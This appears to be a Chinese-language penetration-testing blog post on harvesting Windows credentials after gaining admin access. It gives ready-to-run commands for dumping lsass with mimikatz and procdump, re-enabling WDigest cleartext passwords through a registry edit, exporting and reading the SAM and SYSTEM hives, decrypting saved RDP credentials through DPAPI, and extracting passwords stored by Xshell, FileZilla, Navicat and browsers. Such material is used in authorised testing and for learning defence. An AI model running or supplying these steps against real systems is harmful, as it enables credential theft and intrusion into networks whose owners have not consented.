内网信息收集-用户凭据收集
这是内网渗透中很重要的一步,很多操作都需要用户凭据
注:这里的收集大多需要管理员权限,所以需要配合权限提升
获取域内单机密码和哈希
在前面介绍NTLM协议时介绍过windows的NTLM本地认证流程,Windows协议之NTLM:
在用户输入密码进行身份验证的过程中,所有操作都是在本地进行的。系统将用户输入的密码转换为NTLM Hash,再将其与SAM中的NTLM Hash文件进行比较,若相同则说明密码正确,反之则为错误。当用户注销、重启、锁屏后,操作系统会让winlog.exe显示登陆界面,即密码输入框,在winlog.exe程序接收到输入之后,会将密码交给lsass.exe进程,lsass.exe进程中会存储一份明文密码,并将其加密成NTLM Hash,与SAM数据库进行比较和认证
在上述过程中,有个lsass.exe进程,我们在渗透过程中使用的Mimikatz就是从该进程中抓取的明文或Hash密码
这里详细记录在如何使用mimikatz进行信息收集:
在线读取lsass进程
将mimikatz上传至目标主机后,命令行启动:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# "privilege::debug"用于提升至DebugPrivilege权限(需要管理员权限)
# "sekurlsa::logonpasswords full"用于导出用户凭据
比如这里抓取到NTLM hash,尝试解密:
即可获得明文密码
离线读取lsass内存文件
也可以将lsass的进程内存转储,导出到本地后使用mimikatz离线读取
这里选择微软官方的ProcDump进行内存转储,首先将procdump上传至目标主机,命令行启动:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
接下来将lsass.dmp放到本地离线读取:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# "sekurlsa::minidump lsass.dmp"用于加载内存文件
# "sekurlsa::logonpasswords full"用于导出用户凭据
在上面的抓取过程中可以看见,wdigest功能中抓取不到明文密码,因为微软在2014年5月发布了补丁,关闭了wdigest功能,禁止从内存中获取明文密码,且windows server 2012及以上版本默认关闭了wdigest功能
可以通过修改注册表,可以重新开启wdigest功能:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 开启wdigest
在开启wdigest后,若主机再次触发本地认证操作(比如睡眠后重新登录),则可抓取明文密码:
在线读取SAM文件
读取SAM文件中保存的用户登录凭据,可以导出当前系统中所有本地用户的hash:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# "privilege::debug"用于提升至DebugPrivilege权限
# "token::elevate"用于提升至SYSTEM权限
# "lsadump::sam"用于读取本地SAM文件
离线读取本地SAM文件
将SAM文件导出并使用mimikatz加载并读取其中的用户登录凭据等信息,但微软为了提高SAM文件安全性,会对SAM文件使用密钥加密,该密钥存储于于SAM同目录下的SYSTEM文件中
那么首先需要导出SYSTEM和SAM文件,但这两个文件是被锁定的,所以需要借助工具实现,这里使用powersploit中的invoke-NinjaCopy.ps1
但powershell的默认执行策略为Restricted(受限):
此状态下无法导入powershell脚本,需要更改执行策略:
Set-ExecutionPolicy Unrestricted
接下来导入ps脚本:
Import-Module .\Invoke-NinjaCopy.ps1
然后导出SAM和SYSTEM文件:
Invoke-NinjaCopy -Path "C:\windows\System32\config\SAM" -LocalDestination C:\Temp\SAM
Invoke-NinjaCopy -Path "C:\windows\System32\config\SAM" -LocalDestination C:\Temp\SYSTEM
这里有个缺点即高版本windows(win10及以上)执行该ps脚本会出错(本人还没搞懂原因):
此外,CVE-2021-36934可以提权直接读取SAM和SYSTEM文件,后面提权文章再细嗦
在具有管理员权限的情况下,可以直接通过保存注册表的形式导出:
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
导出后使用mimikatz加载并读取SAM中的用户凭据信息:
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
获取常见应用软件凭据
主机中可能会存在一些特定的应用程序来存储密码,可以尝试进行获取
获取RDP保存的凭据
若用户在RDP登陆时,勾选了保存连接凭证,凭据便会使用数据保护API以加密的形式存储在windows的凭据管理器中,路径为%USERPROFILE%\AppData\Local\Microsoft\Credentials
查看当前主机保存的所有连接凭证:
cmdkey /list
# 查看当前保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*
# 遍历Credentials中保存的凭据
mimikatz解析该凭证3E039BFD58331448709CE3225E1724AF
:
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\3E039BFD58331448709CE3225E1724AF" exit
其中pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID,这里记住guidMasterKey:{ba5eb8b7-53cf-4452-bf99-44b3402b8fc1}
接下来执行:
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit
这里可以找到和guidMasterKey相关的MasterKey:1ea718de5687d36dba4fbf83c158ca9413dda53ed06170242c1779fdc39e8fec7f093148fbf9017e0e6b20d5b3655efd21ac74c430bf69396bbcb67d1beb6bed
但我在windows11上mimkatz会报错(win10试过了,也不会报错):
接下来用拿到的MasterKey执行命令:
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\3E039BFD58331448709CE3225E1724AF /masterkey:1ea718de5687d36dba4fbf83c158ca9413dda53ed06170242c1779fdc39e8fec7f093148fbf9017e0e6b20d5b3655efd21ac74c430bf69396bbcb67d1beb6bed" exit
成功获取到RDP凭证的administrator密码:Admin123456
获取Xshell保存的凭据
Xshell会将服务器连接信息保存在session目录下的.xsh文件中:
如果用户连接时勾选了记住用户名/密码,那么该文件会保存远程服务器连接的用户名和加密后的密码
可以使用SharpXDecrypt进行凭据获取,上传到主机执行即可:
.\SharpXDecrypt.exe
获取FileZilla保存的凭据
无需多言,利用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd
SharpDecryptPwd.exe -FileZilla
获取NaviCat保存的凭据
依旧是SharpDecryptPwd:
SharpDecryptPwd.exe -NavicatCrypto
获取浏览器保存的凭据
web浏览器有保存密码的功能
可以使用hackbrowserdata获取密码
三大浏览器数据都可以收集,不只密码: